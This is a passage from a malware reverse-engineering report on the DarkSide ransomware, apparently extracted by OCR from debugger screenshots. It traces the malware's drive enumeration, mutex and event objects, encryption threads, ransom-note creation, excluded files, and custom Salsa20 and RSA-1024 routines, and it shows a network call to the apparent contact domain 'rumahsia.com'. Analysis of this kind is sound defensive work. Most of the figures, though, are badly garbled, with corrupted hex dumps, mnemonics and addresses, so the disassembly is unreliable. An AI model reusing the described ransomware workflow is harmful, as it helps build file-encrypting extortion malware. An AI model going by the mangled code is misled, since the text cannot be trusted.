- &A 00 push 0 MBTSW_B O XBTSW C3 0 x87TSWCZ O
. 68 BB 01 00 00 push 188 X87SW.C1 O XB7SW CO O XB87SW_ES O
- 56 push esi esiiL" XB7SW_SF O xBTSW P 0 XxB7SW U O
L] FF 75 FC push dword ptr :::E:bu 43 " S eass . -
EIP, > FF 15 F8 08 42 00 call dword ptr ds:[<4InternetConnectw=] | w —
H g b e L e — e Default (stdcal) w5 .—lm irloch
prr ; - 01 00CC0004 2 —
dword ptr [D04208F8 <darkside.&InternetConnectiw>]=<wininet.InternetConnect> 02733938 L"rumahsia.com"
00000188
00000000
. TEXT: 00409320 darkside.exe: $9320 #8720 1 00000000
U o i o @ 1] 00CCO004
$W0umpl  @gDump2 EWDump3  @%Dump4 B4 Dump S Watch 1 Ir=lLocals 4 Struct BFECO| 02733938 | L"rumahsia. com”
!ﬂ: ess "Hll. | asc1r | 00000188
045BFEE2|73 02 00 FF|SB 04 08 BF (73 02 26 0100 00 00 00(s..¥[..i5.&.....
045BFEF2| 2F 00 53 00|68 00 71 00|77 00 33 00(54 00 31 00| /.5.K.q.w.3 .
47 00 00 00|58 04 7E BB|7.5.4.8.G...[.~»

045BFFO2 |37 00 35 'Tl'Tl|2-i 00 38 00
0458FF12 83 00 30 00|30 00 0O 00

Figure 106
This last idea concludes our analysis of this thread. We continue to analyze the main thread.

32 30 30 00|73 02 26 01|E.0.0...200.5.4.

The binary enumerates the volumes available on the machine and uses the CreateFileW
routine to open them:
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. pusn o A imow s empays  Awe mor @ Lmamenyy
. push 80

. push 3 xB7Statusword 0020

. push 0 NBTSW_BE O xB7SW C3 O xB7SWC2 O

» push 3 MB7TSW_C1 O XBTSW CO O NB7TSW ES O

o[ 00407707 push 80000000 XBTSW_SF O NMBTSW.P 1 xBTSW.U O

#| oo40770C push es1 =il o

.text:004077DD darkside.exe:$77DD #6BDD

@oump2 @eoump3 PMoumps  EMoumps @ warch1  Dellocals 5P Struct

00 S5C 00|3F 00 5C 56 00 6F 00[6C 00 75 OO|N.%\.7.%\.V.0.7.u.
00 64 DO(37 OO 65 00|34 00 37 00 (m.e.{.d.7.e.4.7.
SFCDC il 00 2D 00|30 00 30 00|30 00 30 00(8.2.9.-.0.0.0.0.

Figure 107
DeviceloControl is utilized to get information about the type, size, and nature of a disk

partition (0x70048 = IOCTL_DISK_GET_PARTITION_INFO_EX):

AN e g mEAyS A A Ll
XB7TW_2 3 (Empty) xB7TW_3 3 (Empty)

X87TW_4 3 (Empty) XB7TW.5 3 (Empty)
push 30 x87TW_6 3 (Empty) x87Tw_7 3 (Empty)
lea eax,dword ptr ss:febp-325)

push eax xB7STatusword D020
ABTSW_B O XB7SWC3 O XB7SWC2 O
XB7SW.C1 0 xB7SW CO O XBTSW ES O
XBTSW_SF O XB7SW P 1 XxBTSW.U O

push 0
lea eax,dword ptr ss:febp-10]
push eax

oo
45 FO

90 00 00 00
85 DB FC FF FF

RTRETREBRIED

_(!
WD eviceIoControl

. Text:0040780E darkside.exe: $§7B0E #6COE

hDump2  WhDump3 4% Dump 4

Flgure 108
A new thread is created by the file using CreateThread:

XE7SW_SF 0 XBTSW_P 1 X87SW.U O

ol co40754A5 W"" 1] RBOIM_B 3 LEMPLY ) REBSAW_s 3 (EMPLY )
- push 0

. Tea eax,dword ptr ss:febp-14] xB7statusword 0020

. 50 push eax XE7SW_B 0 xB7SWL3 0 x87S5WC2 O
. €8 58 75 40 00 push darkside. 407558 XB7SW_C1 O XB7SW_.CO 0 XB7SWES O
- 6A 00

-

L

-

.TexT: 00407586 darkside.exe:$7586 #6386

@Woump1  @hoump2  WMDump3  §Dump4

¥4 Dump 5

8 watch 1

Flgure 109
Thread activity — sub_407558

The only action the thread does is using the GetLogicalDriveStringsW API to retrieve the
valid drives on the local machine:

L-->8 | 00407564
o 00407560

FF 73 08
FF 73 04

XB7SW_SF 0 XBTSW P O XxB875W U 0
1
Default (stdcall)

SText; 00407570 darkside.exe: $7570 #6970
@Woump1  $8oump2  EDump3  UMDump4

Figure 110
If a volume doesn’t have a drive letter associated with it, then the ransomware does that
using the SetVolumeMountPointW API, as highlighted in the following picture:

WWoumps @ watch1

D0407 6GE
00407671
004076741

FF 75 OC
80

XB7SW_C1 0 XxB7SW.CO 0O XB7SWES O

ush dword ptr ss:feb
Eg iehp ! | XBTSW_SF O XB7SW_P 1 XB7TSW.U 0

a eax.dumrd ptr ss:
X 7 <&SetvolumeMountPoi

esp+4] DO19FCBC L™\\\\T\\Volume{d7e47829-0001
esp+8] OOL9FECS
esp+C] DO019FCBC L™\\\7\\Volume{d7e47829-0001
Sp+10] O019FBAS

.text: 00407675 darkside.exe:$7675 #6ATS
@Woumpt  @oump2 @oump3  @oumps  EDumps @ warhi  [xelloclls P Struct

Figure 111
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The malicious process targets the following types of drives —
DRIVE_REMOVABLE (0x2), DRIVE_FIXED (0x3) and DRIVE_REMOTE (0x4):

s

LLext:eadaiADE

Ltext:eade7ADE loc 487ADG:
Jtewt:@e487AD6 push esi

Jtewt: 80407407 call GetDriveTypel
et 88487ADD cmp eax, 3
Jtewt:BB4B7AER jz short loc_4@7AF@

Figure 112

ol e =

Ltext:88487AE2 cmp eax, 2
.text:88407AES jz short loc_467AF9

[l e 55

Ltext:eed87AEY cmp eax, 4
text:8e487AEA jnz loc_487B9F

The CreateFiIeMapbinQW function is used to create a named file mapping object (name
“Local\\jobO-<Process Id>" means the object is created in the session namespace):

50 push eax eax:L”
€5 00 80 00 00 push 500¢ x87STatusword 0020
6A 00 push X87SW_B O XxB7SW.C3 0 XB7SW.C2 O
54 04 push 4 XE7SW_C1 0 X8TSW_CO O XBTSW_ES O
6A 00 nusn XB7TSW_SF 0 xBTSW_P 1 xB7SW_U o
B8A FF FFFFFFFF e R
FF 15 8C 07 42 00 ::‘H ‘dword ptr ds:[<4CreaterileMappingw:] v =i
(= s % Defam(ndcd} * [5 13]0 unlock
il 5 I
dword ptr [0042076C <darkeide.aCreaterileMappingw>]=<kernel32.Createrilenappingis H ;espz,] 000D0000
3: ;!SDYE 00000004
4: les) DDODOOOO
-TeXT: 00407160 darkside.exe:$716D #6560 |52 !S:‘:&ﬂ] 00008000
S4oump1  §Hoump2  @Hoump3  $hDump4  GHDumps *!*w;nﬁl =] Locals 2 struct 0019FCFO | DOCODO00
' - — ~ .| po19FcF4 | ooooooos
-‘;%%Etm—"“ AsCIl —1 * | oo1srces | aaooonon
ML) 00 6F 00|63 00 61 JJ|EC GO SC JJ|GA QG SF J'| L CI [ ﬂ1 +].0. BOLIFCEC | 00008000
0019FDFC[62 00 30 00|20 00 32 00|30 00 39 00|36 0 | . R .L"E""':- D019FD00 | 0019FDEC | L"Locall\ iobo-2096"

Figure 113
The binary maps a view of the file mapping into the address space of the process by calling
the MapViewOfFile routine (0xf001f = FILE_MAP_ALL_ACCESS):

RS/ SLALUSWUIY WUy

68 00 80 00 0O push 300
6A 00 METSW_B O x8TSW.C3 O N8TSW L2 O

push 0
6A 0O push 0 XB7SW_C1 O XB7SW.CO 0O XB7SW.ES O
€5 1F 00 OF 00 push FOOLF 1 x875W.U O
Fr pu'?:l' mec d dstf« 3 | —
FF 15 50 07 42 00 ca pTridsE[<amapyienwolFilex r e =
e 1 <15 2]l

<
‘dword ptr [00420790 <darkside.aMapviewofFiles]=<kernel32.MapvienafFiles e o T
3: tgsp-ra] 00000000
4: Eesrh{] 00000000
5: [esp+10] D0D0OB00O

. TexT: 00407180 darkside.exe:$718D #6550

$§oump1  Whourp?  WWDwmp3  WMourpd  @houmps @ wachi  beliecls P stuc  [GGioFeRS Doorooir
e g e —— ~ |Boiseere Gasioen
OOJ.SFDEC DGBF JJ 63 rt SJ. JJ|SC JuSC '||6-\ JJ &F ULOr_ﬂ'I ]Dl 0019FD00 | BO00B000
Figure 114

A named event object called “Local\\jobO-<Process Id>-Event” is created by the binary:

& 0o407221 50 push eax eax:L™ MBTSW B O xBYSW C3 0 xB7SWCZ O
» | 0040723 64 push o XBTSW.C1 O XBTSW.CO O xBTSW_ES ©
»| oc 4 6A 0.1. push 1

|l 00 G | BA push 0 s

B 0oa07228 | FE :5 D4 07 42 00 | €817 dword ptr ds:[<acreateEventws] | w |

I .

N E
Gword ptr [D04207D4 <darkside.dCreateEventws]=<kernel3z,CreateEventne |

00000000
2: [espr4] 00000001
3: tesD‘s 00000000
4: [espsC] OOL1IFDAC L"Locall',job0-2096-Event”
5: [esps10] 00408280 <darkside.EntryPoint>

.Text:00407228 darkside.exe:$7226 #6628
\‘im!}umwl $oump2 ENDump3  YHOump4  ENDumoS B watch1  [e=ltocals 4 Struct ﬁm
Address m — = _ = __ _ _Im:n __I__ — a|o0a3FCcrC| 00000000
Figure 115
The ransomware launches itself with 3 parameters, and the new process will execute the
encryption operations:

L"Local\\ iob0-2096-Event™
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004073393 50 push eax XB7TW.0 3 (Empty) x87TW_1 3 (Empty)

-

: gg:g;;;ﬂ g 85 24 FE FF FF ;ue:neax ydword ptr ss:febp-10cl X87TW_2 3 (Empty) x87TW_3 3 (Empty)
o] 00407308 A 00 push 0 xB7TW_4 3 (Empty) xB7TW_5 3 (Empty)
«| 00407390 64 00 push 0 XBTTW_6 3 (Empty) X87TW_7 3 (Empty)
o | 00207397 64 04 push 4

o | 00407341 64 01 push 1 x875tatusword 0020

o | 00407343 6A 00 pusn n XB7SW_B O xXB7SW. L3 0 XxS7SWEZ O
o | 00407345 64 00 push XKB7SW_C1 0 x875W.CO0 0 XB7SW_ES O
® | 00407347 FF 75 FC push \:hurd ptr ss:lflebp-4j [ebp-4 XB7SW_SF 0 XB7SW_P 1 xB7SW U O
o |o0s07348 6A 00

. n - -

M

. Text:D04073AC darkside.exe: §73AC #ETAC

@oump2 @oump3  Houmpd  Woumps Qw.uu le=lLocats 4 J fEErE

Figure 116
OpenMutexW is utilized to open a named mutex called “Global\\T-jobO-<Process Id>" (which
doesn’t exist at this time) — 0x100000 = SYNCHRONIZE:

i ® | D0409CCA push dword ptr ss:febp-s) [ebp-8 XB7SW_C1 0 xB7SW_CO O xB7SW_ES O
1 ®| D0409CCD h 0 X8TSW_SF O X87SW_P O xB87SW_U O
1 D0409CC D sh 100000 I

004 : § i 1 <&0penMut b

dword ptr [0042i kside.&0penMutexws]=<kernel 3z.cp¢mut x>

FF 75 FB
6A 00

02773730 L"Global\\T-joh0-2096"
027T3C08
S TexT:00403CD4 darkside. exe: $3CD4 #3004 ' esp+10] DOLIFFCC

Woumpt  @oump2  @oDump3  @Dump 4 A watch 1

Ie-llocals 4 Struct

2% Dump 5

Figure 117
The event object created earlier is opened by calling the OpenEventW API (0x1f0003 =

EVENT_ALL_ACCESS), as displayed in figure 118:

@ | 0040903E
o 003030 9F
@ 004030AL

50

XB7SW_C1 0 xBYSW_CO 0 XxB7SW_ES O
NBTSW_SF 0 XBTSW_P O x875W_U O

6A 00
&8 03 00 1F 00

‘dword ptr [D04207D8 <darkside.&OpenEventws]=<kernel3z.OpenEventws

LTeXT: 00409046 darkside.exe: S9DA6 #9146

Woump1  @EHoump2  Dump3  Dump4

I=lLocals 4 Struct

@ watch 1

% Dump 5

Figure 118
The file creates an I/O completion port that isn’t associated with a file handle, which will be
used by the main thread to send data that will be encrypted to worker threads:

D0406F0A
D0406F0B
00406F00
O0406FOF

XB7SW_B O xB7SW.C3 0 xB7SW C2 O

push eax
push 0 X87SW_C1 0 xB7SW.CO 0O xB7SW_ ES O
push o
ush FFEFEFFF - .
r _ds:[<acreareloCompletionforts

:873‘ SF 0 :a?sﬂ_l’ O xB7S5wW.U O

. TeXt:00406F11 darkside.exe: $6F11 #6311

@oump2  $Hoump3  WDump4

Flgure 119
Two different threads that will take care of the files’ encryption are created using the
CreateThread routine:
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DO406F2F 6A 00 push o X87r6 00DOO0OO00ODO0D00000 STE Empty O.00000OC
00406F31 6A 00 push o X87r7 00000000000O00000000 ST7 EMPTy 0.0000DOC
DO406F33 6A 00 push 0
D0406F35 68 7C SE 40 00 push darkside. $0SE7C
00406F 3A 6A 00 push 0 ::;.T.:_Dw’;d(:i:;) Sh7TIA- 3 CEaity)
i 3
Cosoerse M i1 o reateThread E—————— | 127TV-2 3 (Empry)  x7TW.3 3 (Empty)
OD406F 44 AB stosd X87TM_4 3 (Empty] XB7TWS 3 (Empty)
D0406F 45 FF 45 FC inc dword ptr ss:febp-43 X87TW_6 3 (EmpTy)  X87TW.7 3 (Empty)
D0406F48 64 00 push o
DO40EF4A BA DO push 0 xB75tatusword 0000
DO406F4C 6A 00 push 0 x87SW_B 0 xB7SW.C3 0 xB7SW.C2 O
00406FE 68 7C 5E 40 00 push darkside. $05E7C X87SW_C1 0 X87SW.CO O X87TSW_ES O
DO4DEF53 6A 00 push 0 XB7SW_SF 0 xB7SW_P 0 X87SW U 0
DO406F55 6A 00 %n o
3 F57 FF 15 20 07 42 00 Jduord prr ds: [<&CreateThread>]
dword ptr [DD420720 <darkside,&CreateThreads]=<kernel3z.CreateThread>
- Text:D0406F3E darkside.exe:$6F3E #633E
Woup1  WMpump2 @Hoump3  Edoumps  Ploumps @ watch1  [eeliocals 4 Struct

Flgure" 120
The ransom note README<RansomPseudoValue>.TXT is created and populated in every
directory the malware encrypts:

00|43 00 3A 00|5C 00 00 OO

sh 0
?uea eax,dword ptr ss:flebp-c [ebp-C xB875tatusword 0000
push eax xB7SW_B O xB7SW_C3 0 xB7SW CZz 0O

dword ptr ss:flebp+1c XB75W_C1 0 xB7SW.CO 0 x875e_E5 O
mrd ptr ss. ebp+C] XB7SW_SF 0 XB7SW_P 0 XB7SW_U o

~ [5 2] 0] unlodk

027TA508
espt+s
esp+C] O013FB18
esp+10] 00000000

0277AS08
02774518
0277A528
0277TAS38
D277AS48
0D277TAS58
D277AS68
D277ASTS
0277AS88
0277A598
0277ASAS
0277ASB8
027TASCS
0277ASDB
02TTASES
0277ASFB
027TAGOS
0277AGLE
0277AG28
02774638

Flgure 121
The process doesn’t encrypt some certain files, as displayed in the next figure:

O019F804 8

0013FE0E | 02610000 | L™\\NATANC "

0019F BOC 0

“| oo1eFs10

0019F 614

O019FB18 &L"README. 954eb200. TXT"

2 0019FB1C C

£ culpl.rtgrs and O019F 820

servers are encr 0019F824 8
0015F828 return to darkside.00406572 from darkside.004(

L"README . 954eb300. TXT"

tion algorithms,
50 you cannot d
ecrypt your data
. .+ BUT you can
restore everyth
6E|1ng by purchasin
7|9 a special prog v

70 74 20 79

08
L ™NARATAAC N
10,

O T Y
74 6F 72 65
7

BRNEIREIN 2 RREBEERER

73 70 65 63
££ =2 ge enla

b

,gzzszsma REEEEEEE

:: 75 08 pu:: Mrd ptr ss:feogrsl XBTSW_SF 0 XB87SW_P 0 x8TSW_U

:Fs L " SWINRE_BACKUP_PARTITION.
02610000 L™\NAATANCI A"
10] 0019F97C

.text:00406AC0 darkside.exe: SEACD #SECD

¥4 Dump 2

umsr—mu
DOL9FA4E [ 02610000 | L™\ TANCIA™

02779068 00 75 00 o0 00| 6E 00 o0

02779078( 69 00 6E 00|66 00 00 00|62 00 &F 00|6F 00 74 00 R aC  DoaTe

02779088 00 €9 00(6E 00 69 00|00 00 62 00|6F OO 6F OO|. 0 - -

02779098 | 74 00 66 00|6F 00 6E 00|74 00 2E 00|62 00 63 00 e A A K R T DN IR EEE.

i by B bt i Ealmie DA e 0013FASC return to 0019FCOC from 0B1CT452

02TTIOCE 00 73 00|68 00 T4 DO|GF 0O 7O 0OO|2E 00 &9 OO D013FAG0 return to darkside.00406DA8 From darkside. 004l
0019FAGS L" SWINRE_BACKUP_PARTITION.MARKER"

02779008| 6€ 00 €3 00|00 00 69 00|63 DO &F 00|6E 00 63 00 Soiaas e

02779DESB 00 63 O0(68 00D 65 OO 2E 00 64 00|62 00 0O OO DD19FASC L"WAWAATAC "

027790F8| 6€ 00 74 00|6C 00 64 00|72 00 00 00|6E 00 74 00 (e dtae g

02779E08 00 73 O0(65 00 72 OO|2E OO0 64 00|61 00 74 OO 8. .a.t. =

02779E18(00 00 6E 00|74 00 75 00|73 00 €5 00|72 00 2E 00|..M.T.U.5.&.r... QUALERT | ZOEACHCE] eiohirty 19 KECEtHD- AORIRIEE Fhm er iE e

02779E28 00 61 00|74 00 2E O0D|6C 0O 6F 00|67 00 00 0O|d.a.T...l.0.0.. OOJ.SF-&.“C

02779E38|€E 00 74 00|75 00 73 00|65 0O 72 00|2E 00 €3 00|n.t.u.5.e.r...i. ONLBEARD

92779648 €€ 00 €3 00|00 00 74 00|68 00 75 00|& 00 €2 0O|N. 1. .Tihu.m.b. oA

Seeslibeciiiinn anvassce ll araveaen

02779E58

Flgure 122
A list of file extensions decrypted at the beginning of the execution is also excluded from the

encryption process:
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| o | 00206464 xS?SU_SF 0 :a?su P 0O x87SW.U
® || DO40EAEE

L
dword ptr [00420680 <darkside.&wcsicmps]=<ntdll.wcsicmp>
: 02610000 L" c:

. TeXT:0040646C darkside.exe:S6A6C #5E6C : ﬁg*,_gu} o019F87C HAFANCERR
Woumpt  Hoump2 Woump3  SWoump4  YHDumps DOLSE Adt MARKE

DO19FA44 8
02779E80 00 38 00({36 00 0D 00|61 00 64 00|76 OO 00 OO|§.B. ggtg;::g %:m LIWVWTCAY
02779690 (€1 00 GE 00|69 00 00 00|62 00 61 00(74 00 00 00|a.n O0iSFACs | Deagrace
02779EAD|62 00 69 DO|6E 00 00 0OO|63 00 61 00|62 00 00 00| Db.1 . - -
02779€B0| 63 00 6D 00|64 00 00 00(63 00 6F 00|6D 0O 00 00|c.m s bl L i B SR LB
OEFIIELY | R 00 8 GO U8 S DRIER Th R SUICE 0 A0 081 La EE [ co15Fasc | 0019FEDC | return to 0oL9FCDC from 0sic7as2
02779EDO| 64 00 €5 00|73 00 68 00|74 00 68 00|65 00 €D 00/d.e - M. 0019FAE0 [00406DCO| return to darkside.004060CO Trom darkside. 004
D [ | Sh 0 e |er O B I e "3 00157464 | DDL9FAAS| L™ SWINRE_BACKUP_PARTITION. MARKER"
02779EF0| 61 00 67 00|63 00 61 00|62 00 00 00|64 00 63 00|a.g 12 ivseigiend frintpelanid
02779F00| 61 00 67 00|63 DO €6 00|67 00 00 00|64 00 €9 00|a.g Boooted DO1SEASE || 02610000] L™\ \AAZAAC VY™
02779F10/61 0D &7 00|70 00 68 00|67 00 OO OO|64 DO 6C 0O %,q, «0...d.1. DOL19FATO | DO19FAES ; :
02779F20|6C 00 00 DO|64 00 72 00|76 00 00 00|65 00 78 00[1...d.r.v...e.x 4
fiG7TREAD | S5 OO 00 00| E8 00 &€ 0070 60 00 00|65 Of €3, 06| &, p e ggtgz;\;; 7GEGCEC2| return to kernelbase.76EECECZ from kernelbase.
02779F40|6C 00 00 00|69 00 €3 0D|6E 00 73 00(00 00 €3 00|1. nis.. i Lo ppgha] Balknit]
02779F50| 63 00 6F 00|00 00 63 00|63 00 73 00|00 00 €9 O|c. B aozsrsacl Asaressn
02779FE0( 64 00 78 00|00 00 6C 00|64 00 66 00|00 00 € 00|d. R 00156 A2 2 | GADIBAAE
02779F70(GE 00 6B 00|00 00 6D 0OO|6F 00 64 OOD|00 00 6D 00| n. .0. «m. po1ocass || aAs475250
02779F80|70 00 €1 00|00 00 &0 00|73 00 63 00|00 00 €0 00|p. -s.c...m. nikitied Rkl
02779F90(73 00 70 00|00 OO0 60 0OO|(73 00 73 00|74 00 79 00|5. S. ¥ po12EAs0 (| A 475250
02779FAD| 6C 00 65 00|73 00 00 00(6D 00 73 00|75 00 00 00|1. m.s.u... nnvacaasll nansesse
02779FBO| 68 00 & 00|73 00 00 0D|6E 0D 6F 00[6D 00 €5 00|n. n.o.m.e. v | < 5

£4 an ea anles an an anlee nn 22 anlse an An anla a

Figure 123
Every targeted file is opened and read using the CreateFileW and ReadFile functions:

AG/Im_D 3 LENMAYJ  ASMIML/ 3 LEMMLY)

00406164

DO406166
D0406168 03 push 3 xB75tatusword 0000

00406160 XB7SW_B 0 xB7SW_C3 0 x87semcC2 0O
DD40616F XB7SW_C1 0 xB7SW CO O xB7SW ES O
00406171 xa?sn' SF 0 xa?ﬂ P O xB87SW_U o
00406176

-text: 00406179 darkside.exe: §6179 #5579

@oump2 % Dump 3

ADIIMLD 3 LEWMELYJ A IWLS 3 LEIELY )

ush o
ea eax,dword ptr ss:febp-C ebp—C
h eax E b ch Eepp x875tatusword DDOO

nushso X8TSW_B O xB7SW.C3 0 xB75W.CZ O
XB7SW.C1 O XB7SW.CO ©O XB87SWES O

hp-

e:!F!'I

XBTSW_SF O XB7SW_P O X8TSW.U O
dword ptr {szn?sq cdarkside. aReadFiles]=<kernelsz. ReMFflb “ . - 14:
% p+8] 00000090
0019FS0C AL™\\\AT\\C:\\T06d?fdb2edesd
0] 00000000

85 64 FF FF FF

0
75 FB

- TeXt:0040622F darkside.exe: $622F #562F

lhnnpx @hoump2 @HDump3  Dump4

4 Dump 5

00406304 FF 75 FO
00406300 FF 75 F4

02763538 L A\A\P\\C! \\706d7 Fdb2ededde

.Text:004063E0 darkside.exe: $63ED #57ED
@Woump1  oump2  Wouwmp3  ENoumps  $ouwmes M wath1  lellos P Stuct

Figure 126
There is a second function call to CreateloCompletionPort that associates the existing 1/0
completion port with the FileHandle parameter:

0040640F
00406411
00406413
00406419

6A 00

o0
FF 35 18 0A 42 00
FF 75 F8

. text:0040641C darkside. exe: §641C #581C

@oump2  UWoump3  Eoump4

Y% Dump 5

Figure 127
The RSA public exponent and the RSA modulus will be used in the encryption process of the
Salsa20 matrix, as we’ll describe later on:
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50 | push eax

.

. 80 01 Tea eax,dword ptr ds:[ecx]

- 50 | push eax

- 8D 43 74 Tea eax,dword ptr ds:[ebx+74]

- 50 push eax B F
Fg——> s EB E1 ED FF FF | €@l darkside. 405317 v T

QF T L , | Defaut (stdcal) *|is = unk
P— —[1: [esp] 027ACDAS
darkside. 00405317 23 ;CSD-'J 00410250 darkside.00410250

3: [esp+8] 00410200 darkside.00410200
4: +C] D019FDOB
.Text: 00406531 darkside.exe: §6531 #5931 i 5: %::gﬂ_gn 0000001F
e . & 027AC0AR
o1 §oump2  PYoump3  HDump4  WNDumps @ watch1  leelLocals ¢ struct 0019F51C | 00410250 | darkside. 00410250
7 = ey e ASCIT T ~ | P029F520| 00410200 | darkside. 00410200
00410250(01 00 01 00|00 OC 00 00[00 00 DD 00|00 00 OC 00| .... | f %33%25
00410260|00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00 . mizialat
00410270|00 0D 00 00|00 0O 0O 00|00 00 00 00|00 00 00 00| . OBEE735E
0041028000 00 00 00|00 OD 00 O0{00 00 00 00}00 00 00 00 0019F5AQ | L eula. ref”
gg:igﬁg % 33 g % gg‘ % % g gg g % & gg % % g 763538 | L™\ \AC:\\706d7fdbZede4dBe91\ 1025 \eula. rtf. 954eb90
b s i bl d Briadimord e mlicend boasdloe e & 027 76F40 | L™ WP C W\ TO6dTFdb2 ede4daesl’ 10254 \eula. ref”
i 2

004102C0| 00 00 00 00|00 00 00 00|00 00 00 0000 00 00 00 . JOpanIES
00410200 | EF 26 75 3E 87 15 D8 28 Bl F3 41 EF Bl €9 D3 DB 0019F7D4
DOA103F0 9 88 21 73|£3 31 8% Da/cB T &7 3 6 Fa AC & 0 SOE0F [T G ANKEE e SONGRRY. Fri e eai e A0S
D0410300|74 E5 4F 07|67 42 65 ED|C5 C8 1F E5|90 BE A4 DE DO aESAnIL R 13- LEE
00410310| 62 20 2a E9|AC 90 8D 03 /B3 13 C1 90 |2A B2 Bl 50| b "é-.. 00000000
0041032057 19 08 57 |OF 61 OE 20/4C DB E2 D209 11 14 4F| W..W.a. LO&...0 027780CE| L™\\\\7\\C: \\706d7 Fdb2ededdsea)\ 1025"
00410330| 6F F2 DB G1|CA C4 Al 81|60 DB 15 91 36 0A F5 57 o 06l I ootsepoal St Mt ! 4
00410340|BC C2 EB B9/44 13 5F GAI7D 51 DA 80/32 90 3a 75| %Ae'D._itQ0.2.:u Il nnnans -

Figure 128

The ransomware checks to see if the RDRAND and RDSEED instructions are supported by
the processor. If that’s the case, it will use one of them to generate 56 random bytes, and 8
NULL bytes are added to the resulting buffer (Salsa20 matrix -> custom Salsa20
implementation). If none of these are supported, the malware uses the rdtsc instruction to
generate deterministic timestamps that will provide a 64-byte Salsa20 matrix:

L | (%=

Ltext:eedadbD2

Ltext:eedadbD2

Ltext:eedadbD2

.text:80484BD2 sub_484BD2 proc near
Jtext:88484BD2 push ebx
.text:88484BD3 push ecx
.text:88484BD4 push esi
.text:88484BD5 push edi
.text:88484BD6 push 1
text:eededBDE pop Eax
.text:88484BD9 cpuid

Ltext:88484BD6 test ecx, 49000088h
Ltext:#@484BEL setnz al
Jtext:e8484BE4 test al, al
.text:88404BE6 jz short loc_484BF8

i e 5

Jtext:@e484BF8

Jtext:80484BF8 loc_404BF@:
Jtext:88484BF@ push 7

Jtexti:eeded4BF2 pop eax
Ltext:B0484BF3 xor eCx, ecx
text:8e484BF5 cpuid

Jtewt:08484BF7 test ebx, 46868h
Jtext:88484BFD setnz al
Jtewtee4edCen test al, al
Jtext:ee484C02 jz short loc_4e4caC

™1
v
= FEIE

Y

BES rdrand eax Ltext:@9484C84 rdseed eax Ltext: 88484060

BEB rdrand edx Jtext:@e4e4C87 rdseed edx Ltext:esded4lec loc_484C6C:

BEE jmp short loc_464C1C| (.text:08484C848 jmp short loc_4e4ClC) |.text:88484C6C rdtsc
Ltext:8eda84C8E mov ecx, eax
Jtext: 08404016 ror ecx, BDh
Ltext:ee484C13 rdtsc
Ltext:eed4e4C1s mov edx, eax
Ltext:eededacly rol edx, @Dh
CText:8ed4a84C1A mov eax, ecx

Figure 129
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Address

Hex

027ACOG4
D27ACO7 4
027ACOB4
027ACO94 | 45

13 F8 F1

CF C8 2A B9 | AD 9F 53 EB(84 BB FD 73 (04 F9
SE|OE 29 80 9D
00 00 OO 00|00 0D OO0 00|32 FD
4F OF 66|F5 FA

57 E2 32 AC
52 72 |EB 47
17 54(3C E6 D5 6C |AE 21

62 41
BC 23 2A 14
F5 F&
34 6C

ASCII
TE:' .5B. ys.UbA _,
.of[. ). .waz-%==. Figure 130

........ 2yRFEGOO
EQ. Fou. T<ehl= 141

The thread poses a custom implementation of the RSA-1024 algorithm (it doesn’t rely on
Windows APIs). Basically, the data d will produce a ciphertext = (d*exponent)%modulus. The
raw modulus calculation is performed using addition and subtraction and part of the
implementation is presented in the following figures:

dext:
Text
Text
text:
text
text
fext
Text
text:
Text
Text
text:
text
tText
fext
Text
text
Text
Text
text:
text
text
fext
Text
text:
Text
Text
text:
text
text
fext
Text
text
Text
Text
text:
text
tText
fext
Text
text:
text:

epda5258 sub 485258 proc near

1 8B485258
1 Ba4a525A

Ba4a5250

readas2oe
1 BB485263
1BB4a5265
1BB4a5268

Ba485266

1BB4e8526E
rea4as5271

Ba4a5274

tead4as277
1 BE4a527A
1Be4a5270
read4as28e
18B4a85283
(Ba4e5286
1 Ba4a5289

Ba4a328C

rea4a528F
rBe4a5292
1BE4a5295
1 BB4a5298

Ba485296

18a4e529E
read4as2a1

Ba4a5 284

LEad4a52AT
1 BE4a52A4
LBe4a52AD
rBa4as288
18e4a85263
rea4e5266
1 Ba4a5269

2485260

tea4a526F
read4as202
ree4es205
rea4as208

Ba4852CE
Bada52CE

maw
maw
mow
mav
shh
shh
ula]
4ul]
maw
maw
maov
maw
shh
shh
shh
4ul]
maw
maw
mow
mav
shh
shh
shb
zhb
maw
maw
mov
mav
shh
shh
zhh
zhb
maw
mav
mov
mav
shh
shh
shh
zhb
maw

eax, [esi]
ebx, [esi+d]
ecx, [esi+d]
edx, [esi+aCh]
[edi], eax
[edit+d], ebx
[edi+B], ecx
[edi+BCh], edx
eax, [esi+léh]
ebx, [esi+lsh]
ecx, [esi+lsh]
edx, [esi+lCh]
[edit+lBh], eax
[edit+14h], ebx
[edi+18h], ecx
[edi+lCh], edx
eax, [esi+28h]
ebx, [esi+24h]
ecx, [esi+28h]
edx, [esit+2Ch]
[edit+28h], eax
[edit+24h], ebx
[edi+28h], ecx
[edi+2Ch], edx
eax, [esi+38h]
ebx, [esi+34h]
ecx, [esi+38h]
edx, [esi+3Ch]
[edit+3Bh], eax
[edit+24h], ebx
[edi+38h], ecx
[edi+3Ch], edx
eax, [esi+dih]
ebx, [esit+dth]
ecx, [esi+4sh]
edx, [esit+dCh]
[edi+dBh], eax
[edi+d4h], ebx
[edi+48h], ecx
[edi+4Ch], edx
eax, [esi+58h]

Figure 131
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.text:ee405199 sub_ 485199 proc near

Ltext: 868485199 mov eax, [esi]

.text: 88485198 mov ebx, [esi+d]

Ltext: 0848519 mov ecx, [esi+8]

.text:884051A1 mov edx, [esi+8Ch]

Ltext:aa485184 adc [edi], eax

dexnt 88485146 adc [edi+d], ebx

Ltext: 88485149 adc [edit+8], ecx

Ltext:ea4851AC adc [edi+@Ch], edx

ctext: B84851AF mov eax, [esi+leh]

Ltext: 88485182 mov ebx, [esi+ldh]

.text:88485185 mov ecx, [esi+l8h]

.text: 88405168 mov edx, [esi+l1Ch]

Ltext: 88485188 adc [edi+leh], eax

Ltext:884051BE adc [edi+l4ah], ebx

Ltext:984851C1 adc [edi+18h], ecx

Ltext: 88485104 adc [edi+1Ch], edx

Ltext: 88485107 mov eax, [esi+28h]

Ltewt: 884851CA mov ebx, [esi+24h]

Ltext:eed851C0 mov ecx, [esi+28h]

Ltext: 88405108 mov edx, [esi+2Ch]

Ltext: 88485103 adc [edi+28h], eax .

Ltext: 88485106 adc [edit+24h], ebx Figure 132

Ltext: 28485109 adc [edi+28h], ecx

Ltext:ea48510C adc [edi+2Ch], edx

.text:8848510F mov eax, [esit+3@h]

Ltewt:B84851E2 mov ebx, [esi+34h]

.text:884051E5 mov ecx, [esi+38h]

